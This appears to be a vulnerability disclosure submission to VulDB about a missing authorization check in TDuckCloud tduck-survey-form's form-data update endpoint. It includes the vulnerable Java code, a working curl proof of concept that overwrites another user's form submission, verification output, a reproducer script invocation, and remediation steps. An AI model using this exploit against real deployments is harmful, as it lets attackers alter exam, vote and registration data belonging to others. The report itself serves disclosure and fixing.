| Title | GitHub tduck-survey-form 4.0-5.3 broken access controll |
|---|
| Description | # TDuck Form Platform: Missing Object-Level Authorization in `POST /user/form/data/update` Allows Arbitrary Tampering of Any Form Submission (IDOR Write)
## Summary
**Title:** The form-submission update endpoint `POST /user/form/data/update` of TDuckCloud `tduck-survey-form` performs no object-level authorization check, allowing any authenticated user to modify the content of any submission of any form by its `dataId`.
`UserFormResultController.updateFormResult` is the "form owner edits one submission" endpoint, yet — unlike every other submission endpoint in the same controller (`query`, `delete/{formKey}`, `export`, `import`, `download/file`, all of which call `FormAuthUtils.hasPermission(formKey)`) — the `update` path performs **no ownership check at either controller or service layer**. The service loads the row by `getById(entity.getId())` and unconditionally overwrites `originalData`. Any logged-in user who knows a submission's `dataId` can rewrite exam answers, poll/vote results, or registration data of any form; the change persists in both MySQL and Elasticsearch.
## Affected Product / Versions
| Item | Value |
| ------------------ | ------------------------------------------------------------ |
| Product | TDuckCloud `tduck-survey-form` (open-source Java Spring Boot online form platform) |
| Affected component | `tduck-api` module `UserFormResultController`; `tduck-form` module `UserFormDataServiceImpl` |
| Affected versions | All releases containing this defect. Verified against official image `tduckcloud/tduck-platform` (build 2026-06-10) and source baseline commit `43ffa9c9` (tag `Tduckx-13`); the same vulnerable code exists in the `v5.0` and `v4.0` source tags. |
| Test environment | `http://localhost:8999`; attacker and victim are both ordinary users (`admin=false`) |
## Root Cause (source evidence)
`tduck-api/src/main/java/com/tduck/cloud/api/web/controller/UserFormResultController.java:197-206`:
```java
@PostMapping("/update")
public Result<Void> updateFormResult(@RequestBody UserFormDataEntity entity, HttpServletRequest request) {
ValidatorUtils.validateEntity(entity); // only @NotBlank formKey etc.
try {
entity.setUpdateBy(String.valueOf(SecurityUtils.getUserId()));
} catch (Exception ignored) {
}
formResultService.updateFormResult(entity); // ← no FormAuthUtils.hasPermission
return Result.success();
}
```
`tduck-form/.../service/impl/UserFormDataServiceImpl.java:157-166`:
```java
public Boolean updateFormResult(UserFormDataEntity entity) {
UserFormDataEntity dataEntity = this.getById(entity.getId()); // arbitrary dataId
dataEntity.setOriginalData(entity.getOriginalData()); // unconditional overwrite
dataEntity.setUpdateBy(entity.getUpdateBy());
boolean update = this.updateById(dataEntity);
formDataUtils.asyncUpdateEsDocument(dataEntity); // ES overwritten too
...
}
```
- **Contrast:** in the same controller, `queryFormDataTable / deleteFormData / exportFormData / downloadFormResultFile / importFormData` all call `FormAuthUtils.hasPermission(formKey)` first — only `update` misses it.
- Although `entity.getFormKey()` is `@NotBlank`-validated, the service **completely ignores** `formKey`; an attacker may submit any non-empty value. The only locator is `id` (the `dataId`).
## CWE
- CWE-639: Authorization Bypass Through User-Controlled Key (IDOR write)
- CWE-862: Missing Authorization
## Attack Vector & Preconditions
- Attacker: any authenticated user (ordinary account suffices).
- Precondition: the target submission's `dataId` (snowflake ID, not sequentially enumerable, but obtainable from webhook event logs, historical exports, accidental leaks, or in combination with TDUCK-01 / TDUCK-04).
- No valid `formKey` needed (any non-empty value passes validation); no form-owner privileges.
## PoC (verified evidence)
> Environment `http://localhost:8999`; auth header `token: <JWT>`.
> Victim `[email protected]` (id=1001), form `formKey=8wYgRIGX`, submission `dataId=211738` (original: `{"input1":"Alice","input2":"[email protected]","secret":"TOP-SECRET-ANSWER"}`); attacker `[email protected]` (id=1002, `admin=false`).
### 1) Direct tampering by the attacker
```bash
curl -s -X POST "http://localhost:8999/user/form/data/update" \
-H "token: <attacker-token>" -H "Content-Type: application/json" \
-d '{"id": 211738, "formKey": "whatever",
"originalData": {"poc_field": "tampered-by-attacker", "note": "IDOR write"}}'
```
Actual response: `{"code":200,"msg":null,"data":null}` — the tampering request was accepted.
### 2) Verification via database and the victim's own account
`fm_user_form_data` row (id=211738):
```
original_data: {"note": "IDOR write", "poc_field": "tampered-by-attacker"} ← overwritten
update_by: 1002 ← written by the attacker
update_time: 2026-08-30 22:26:38
```
Read-back with the victim's account, `GET /user/form/data/details/211738` (`code=200`):
```json
"formData": {
"note": "IDOR write", "poc_field": "tampered-by-attacker",
"formKey": "8wYgRIGX", "updateBy": "1002", "id": 211738, ...
}
```
→ The attacker (not the owner, not an admin) successfully modified the victim's form submission; the owner's read-back confirms the tampered content.
## Impact
1. **Integrity (High):** submissions of any form can be altered — in exam/survey/vote/registration scenarios this directly changes results and statistics (the only trace is `updateBy`).
2. **Persistence:** `updateById` + `asyncUpdateEsDocument` double-write — tampering affects both MySQL and ES search results.
3. **Chained amplification:** combined with TDUCK-04 (orphaned submissions readable after form deletion) an attacker can read and rewrite; combined with TDUCK-01 (webhook event logs) `dataId` values can be harvested in bulk.
## Remediation
1. In `updateFormResult`, first load the submission by `id`, take its `formKey`, and call `FormAuthUtils.hasPermission(formKey)` before updating (admins exempted).
2. Enforce the same check in the service layer `UserFormDataServiceImpl.updateFormResult` (do not rely on the controller alone).
3. Keep the check consistent with the other endpoints in the same controller; derive `formKey` from the persisted row rather than trusting the request body.
## Reproducer Script
A dependency-free Python 3 reproducer for this issue is provided as `tduck-poc/poc_form_data_update.py` and has been executed successfully against the same target and ordinary (non-admin) accounts described above:
```bash
python3 poc_form_data_update.py --account [email protected] --password xxx --data-id <victimDataId> --victim-account [email protected] --victim-password xxx
```
> The script defaults to `http://127.0.0.1:8999` with the `token` auth header (this deployment's `platform.jwt.header`); replace the test accounts/address before submission, consistent with the PoC in the body.
## References & Disclosure
- Affected source: `tduck-api/.../web/controller/UserFormResultController.java:197-206`; `tduck-form/.../service/impl/UserFormDataServiceImpl.java:157-166`; comparison checks in `tduck-form/.../form/util/FormAuthUtils.java`
- Verified 2026-08-30 in an authorized test environment; coordinated disclosure through the vendor's official channel (TDuckCloud open-source repository issues) is recommended.
> Disclaimer: this report is solely based on security testing performed in an authorized environment; replace test addresses/accounts before submission. |
|---|
| Source | ⚠️ https://github.com/LinYuanyi1/cve-request-poc/blob/master/tduck/poc_form_data_update.py |
|---|
| User | lincoke (UID 100021) |
|---|
| Submission | 09/07/2026 10:06 (1 month ago) |
|---|
| Moderation | 10/11/2026 11:45 (1 month later) |
|---|
| Status | Duplicate |
|---|
| VulDB entry | 405970 [TDuckCloud tduck-survey-form up to 5.0 /user/form/data/update authorization] |
|---|
| Points | 0 |
|---|